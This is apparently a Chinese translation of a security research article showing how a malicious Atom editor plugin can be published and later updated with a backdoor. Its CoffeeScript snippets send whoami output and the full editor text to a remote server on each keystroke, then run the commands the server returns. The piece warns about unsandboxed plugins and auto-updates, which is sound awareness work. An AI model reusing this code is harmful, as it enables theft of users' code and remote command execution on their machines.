热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【技术分享】如何通过恶意插件在Atom中植入后门

译者:nstlBlueSky预估稿费:200RMB投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿背景在生活和工作中,我们往往都需要用到一些类型的编辑器,这样才能开展我们的工作。但


http://p5.qhimg.com/t01df330e093681e0e4.png

译者:nstlBlueSky

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

背景

在生活和工作中,我们往往都需要用到一些类型的编辑器,这样才能开展我们的工作。但是,当选择一个编辑器时,每个人都有自己的看法。有些人是新潮派,喜欢使用像Atom或者Sublime这一类型的现代编辑器,而另外一些人则是守旧派,更喜欢坚持使用像Vim或Emacs这一类型的编辑器。无论你选择什么,对于一款编辑器而言,你最想做的可能就是以某种方式对此工具进行自定义操作。

现代编辑器的插件和扩展功能都是非常强大的。除了外观上的一些自定义之外(字体,配色方案等),它们还提供了一系列功能,这些功能能够使您的生活和工作变得更轻松,您应该能够找到一个适合您需要的插件。如果没有,你可以创建和发布一个。

通常情况下,用户会下载新的插件以满足他们的需求,这样他们的插件列表就会变得越来越多(因为谁会有时间去删除那么旧的或者未使用的插件呢?)。这其中,许多编辑器是支持自动更新的,以确保及时的修复bug以及增添新功能等。

对于这篇文章,我将重点研究Atom这款编辑器工具Github上的“明星”编辑器。根据他们的网站介绍,这是一个“21世纪的黑客文本编辑器”。 Atom编辑器的用户群在不断增长,它包含了各种各样的软件包。您甚至可以通过一些小技巧在Chromebook上安装Atom,这些技巧是通过绕过ChromeOS上的基本安全模型,使得您可以在Chromebook上安装Atom。


目标

我的任务是探索恶意的Atom插件对该工具的影响程度到底有多大。我们不知道我们将要面临什么障碍,不知道Atom会不会有什么安全措施来阻止我们的恶意程序。但事实证明,没有任何的阻碍…在几个小时之内,我不仅发布了我的第一个应用程序,而且更新了它,在此应用程序中还包含有一点点的恶意代码。

计划很简单:

第一步:获取一个已经发布的简单的包或者插件

这个过程我们需要什么以及该过程是否有难度(我们是否需要我们的应用程序被审查)?

第二步:测试更新过程

如果你打算创建一个恶意软件包,那么你将首先需要创建一个非恶意软件包,这个非恶意的软件包需要拥有一个庞大的用户群,然后推送一个软件更新,该更新包中包含了一些恶意的代码

第三步:从Atom包中实际测试我们可以实现的功能

我们需要确定我们的恶意软件是否在沙箱中运行以及我们拥有访问哪些系统库的权限等。


创建简易插件

步骤1

网络上有很多指南可以用来指导如何创建和发布Atom的包,包括在Atom官方网站上就有一个很详细的指南。生成一个新的包需要的步骤是:

1.创建一个新的包:

cmd + shift + p

Package Generator: Generate Package 

2.步骤1将为我们生成一个简单的包,这个包只包含了一个toggle方法,这个方法我们将在稍后会使用到:

toggle: ->

console.log 'touch-type-teacher was toggled!'

3.将代码推送到Git 仓库

git init
git add .
git commit -m "First commit"
git remote add origin 
git push -u origin master

4.发布我们创建的Atom包

apm-beta publish minor

步骤2

在初始设置完成后,我们接下来将对我们之前创建的包做一些修改

toggle: ->

console.log 'touch-type-teacher was toggled!'
console.log 'update test'

将代码推送到Github

git commit -a -m 'Add console logging'
git push

发布新版本的代码

apm-beta publish minor

从第一步和第二步操作来看,发布和更新一个Atom包是非常容易的操作,下一步将看看我们发布的包实际上可以干些什么事情。


这似乎是一个合理的请求

步骤3

可以看到,Atom包是通过node.js技术创建的,初始测试我们可以看看有哪些模块可以访问。从请求包入手似乎是一个很好的开始,因为它允许我们将数据从用户的机器中取出并进入我们自己手中。

1.经过一番技术研究发现,可以很容易导入一个第三库到我们的包中:

npm install --save request@2.73.0
apm install

2.把这个第三库导入我们的代码中:

request = require 'request'

3.更新我们的代码,用户机器会将一些数据发布到我们的远程服务器

toggle: ->

request 'http://my-remote-endpoint.com/run?data=test_data', (error, response, body) =>            
console.log 'Data sent!'

有了这个,一旦toggle函数被调用,那么我们的包就会自动发送信息给我们。现在我们有一种获取信息的方法,我们需要看看我们能够访问哪些信息。


植入后门代码

我们更改我们的toggle函数尝试获取当前用户机器上的的数据,代码如下所示:

toggle: ->

{spawn} = require 'child_process'
test = spawn 'whoami'
test.stdout.on 'data', (data) ->
request 'http://my-remote-endpoint.com/run?data='+data.toString().trim(), (error, response, body) =>
console.log 'Output sent!'

上面的这个代码片段在实际的运行中是有效的,这意味着我们可以在用户的机器上运行命令,然后根据需要从返回的数据中提取我们需要的数据。其实现在,我们发布的Atom包已经可以执行一些恶意的操作了,但是我们有必要做进一步的研究。


更进一步

之前,我们的命令是硬编码到我们的代码中的,现在我们将修改代码使得软件能够自动发送需要执行的命令! 之前我们创建的Atom包中,只有toggle函数被调用时才会触发执行命令,现在我们将修改代码,完成一旦一个按键被按下就会触发执行命令的函数。

首先我们需要去hook当前编辑器的onChange事件:

module.exports = TouchTypeTeacher = 
touchTypeTeacherView: null 
modalPanel: null 
subscriptions: null 
editor: null
activate: (state) -> 
@touchTypeTeacherView = new TouchTypeTeacherView(state.touchTypeTeacherViewState) 
@modalPanel = atom.workspace.addModalPanel(item: @touchTypeTeacherView.getElement(), visible: false) 
@editor = atom.workspace.getActiveTextEditor() 
@subscriptions = new CompositeDisposable
@subscriptions.add atom.commands.add 'atom-workspace', 'touch-type-teacher:toggle': => @toggle() 
@subscriptions.add @editor.onDidChange (change) => @myChange()

之后,在Atom包中创建myChange函数,该函数将执行一些恶意的操作:

myChange: ->
    request 'http://my-remote-endpoint.com/test?data=' +@editor.getText(), (error, response, body) =>
        {spawn} = require 'child_process'
        test = spawn body
        console.log 'External code to run:n' + body
        test.stdout.on 'data', (data) ->
           console.log 'sending output'
           request 'http://my-remote-endpoint.com/run?data=' + data.toString().trim(), (error, response, body) =>
               console.log 'output sent!'

这段代码片段实现了我们想要完成的功能。 编辑器中每发生一个变化,我们都会将编辑器中的文本发送到我们的服务器,然后服务器会返回一个新的命令到用户的机器上执行。 我们运行命令并将执行结果发送到我们的服务器。

现实在存在的后门插件

虽然我们只是想演示这种攻击是如何发生的,但是现实中却出现了一个有趣的故事。Kite公司,一家生产基于云编码工具的软件公司,该公司招聘了Minimap(一个Atom插件,超过380万次下载)的开发人员,随后Minimap插件推出了一个更新,此更新除了其他功能之外,将Kite公司的广告插入到Minimap插件中。同样的,我们发现Kite公司在几个月前就默默地收购了autocomplete-python插件(另一个流行的Atom插件),以用来推广Kite公司的产品。

这个事情一经发现,Kite公司就被迫道歉并采取了相应的措施,以确保他们不会再这样做。但类似于Kite公司收购Atom包这种行为,在过去一周内有报道说,两个Chrome扩展已被网络攻击者利用,并向其中注入了广告软件。 Chrome和Copyfish的Web开发人员都将可能遭受网络钓鱼的攻击。有关这些事件的详细信息,请参阅这里(Web Developer)和这里(Copyfish),其主要原因是用户在不知情的情况了使用了有后门的Chrome的扩展程序。


总结

我们创建了一个插件,并发布了它,但这个插件并不具有任何的危害。此插件是在没有沙盒,没有任何权限限制的环境中运行的,而且也没有任何的防护去阻止我们窃取用户机器上的数据信息。即使安全研究人员会对上传的软件代码进行了某种分析,但攻击者也可以在软件运行时远程执行恶意代码。自动更新意味着即使我们的插件今天很好,但或许这款插件明天可能就会被植入了后门程序。

因此,虽然迫使开发人员仅使用某些可以控制的开发工具或者插件似乎看起来很不人性,但如果不受控制,我们将越来越难以确保这些工具的安全性。


推荐阅读
  • Centos7.6安装Gitlab教程及注意事项
    本文介绍了在Centos7.6系统下安装Gitlab的详细教程,并提供了一些注意事项。教程包括查看系统版本、安装必要的软件包、配置防火墙等步骤。同时,还强调了使用阿里云服务器时的特殊配置需求,以及建议至少4GB的可用RAM来运行GitLab。 ... [详细]
  • 在编写业务代码时,常常会遇到复杂的业务逻辑导致代码冗长混乱的情况。为了解决这个问题,可以利用中间件模式来简化代码逻辑。中间件模式可以帮助我们更好地设计架构和代码,提高代码质量。本文介绍了中间件模式的基本概念和用法。 ... [详细]
  • 本文介绍了win7系统休眠功能无法启动和关闭的解决方法,包括在控制面板中启用休眠功能、设置系统休眠的时间、通过命令行定时休眠、手动进入休眠状态等方法。 ... [详细]
  • 面向对象之3:封装的总结及实现方法
    本文总结了面向对象中封装的概念和好处,以及在Java中如何实现封装。封装是将过程和数据用一个外壳隐藏起来,只能通过提供的接口进行访问。适当的封装可以提高程序的理解性和维护性,增强程序的安全性。在Java中,封装可以通过将属性私有化并使用权限修饰符来实现,同时可以通过方法来访问属性并加入限制条件。 ... [详细]
  • ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案
    ShiftLeft公司是一家致力于将应用的静态防护和运行时防护与应用开发自动化工作流相结合以提升软件开发生命周期中的安全性的公司。传统的安全防护方式存在误报率高、人工成本高、耗时长等问题,而ShiftLeft提供的持续性安全防护解决方案能够解决这些问题。通过将下一代静态代码分析与应用开发自动化工作流中涉及的安全工具相结合,ShiftLeft帮助企业实现DevSecOps的安全部分,提供高效、准确的安全能力。 ... [详细]
  • 本文讨论了在使用PHP cURL发送POST请求时,请求体在node.js中没有定义的问题。作者尝试了多种解决方案,但仍然无法解决该问题。同时提供了当前PHP代码示例。 ... [详细]
  • 本文介绍了在Vue项目中如何结合Element UI解决连续上传多张图片及图片编辑的问题。作者强调了在编码前要明确需求和所需要的结果,并详细描述了自己的代码实现过程。 ... [详细]
  • 本文介绍了包的基础知识,包是一种模块,本质上是一个文件夹,与普通文件夹的区别在于包含一个init文件。包的作用是从文件夹级别组织代码,提高代码的维护性。当代码抽取到模块中后,如果模块较多,结构仍然混乱,可以使用包来组织代码。创建包的方法是右键新建Python包,使用方式与模块一样,使用import来导入包。init文件的使用是将文件夹变成一个模块的方法,通过执行init文件来导入包。一个包中通常包含多个模块。 ... [详细]
  • 本文介绍了如何使用Express App提供静态文件,同时提到了一些不需要使用的文件,如package.json和/.ssh/known_hosts,并解释了为什么app.get('*')无法捕获所有请求以及为什么app.use(express.static(__dirname))可能会提供不需要的文件。 ... [详细]
  • 本文介绍了Composer依赖管理的重要性及使用方法。对于现代语言而言,包管理器是标配,而Composer作为PHP的包管理器,解决了PEAR的问题,并且使用简单,方便提交自己的包。文章还提到了使用Composer能够避免各种include的问题,避免命名空间冲突,并且能够方便地安装升级扩展包。 ... [详细]
  • 使用eclipse创建一个Java项目的步骤
    本文介绍了使用eclipse创建一个Java项目的步骤,包括启动eclipse、选择New Project命令、在对话框中输入项目名称等。同时还介绍了Java Settings对话框中的一些选项,以及如何修改Java程序的输出目录。 ... [详细]
  • 本文介绍了Python语言程序设计中文件和数据格式化的操作,包括使用np.savetext保存文本文件,对文本文件和二进制文件进行统一的操作步骤,以及使用Numpy模块进行数据可视化编程的指南。同时还提供了一些关于Python的测试题。 ... [详细]
  • 本文介绍了如何在Azure应用服务实例上获取.NetCore 3.0+的支持。作者分享了自己在将代码升级为使用.NET Core 3.0时遇到的问题,并提供了解决方法。文章还介绍了在部署过程中使用Kudu构建的方法,并指出了可能出现的错误。此外,还介绍了开发者应用服务计划和免费产品应用服务计划在不同地区的运行情况。最后,文章指出了当前的.NET SDK不支持目标为.NET Core 3.0的问题,并提供了解决方案。 ... [详细]
  • 本文介绍了Windows Vista操作系统中的用户账户保护功能,该功能是为了增强系统的安全性而设计的。通过对Vista测试版的体验,可以看到系统在安全性方面的进步。该功能的引入,为用户的账户安全提供了更好的保障。 ... [详细]
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
author-avatar
littl_eyuera
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有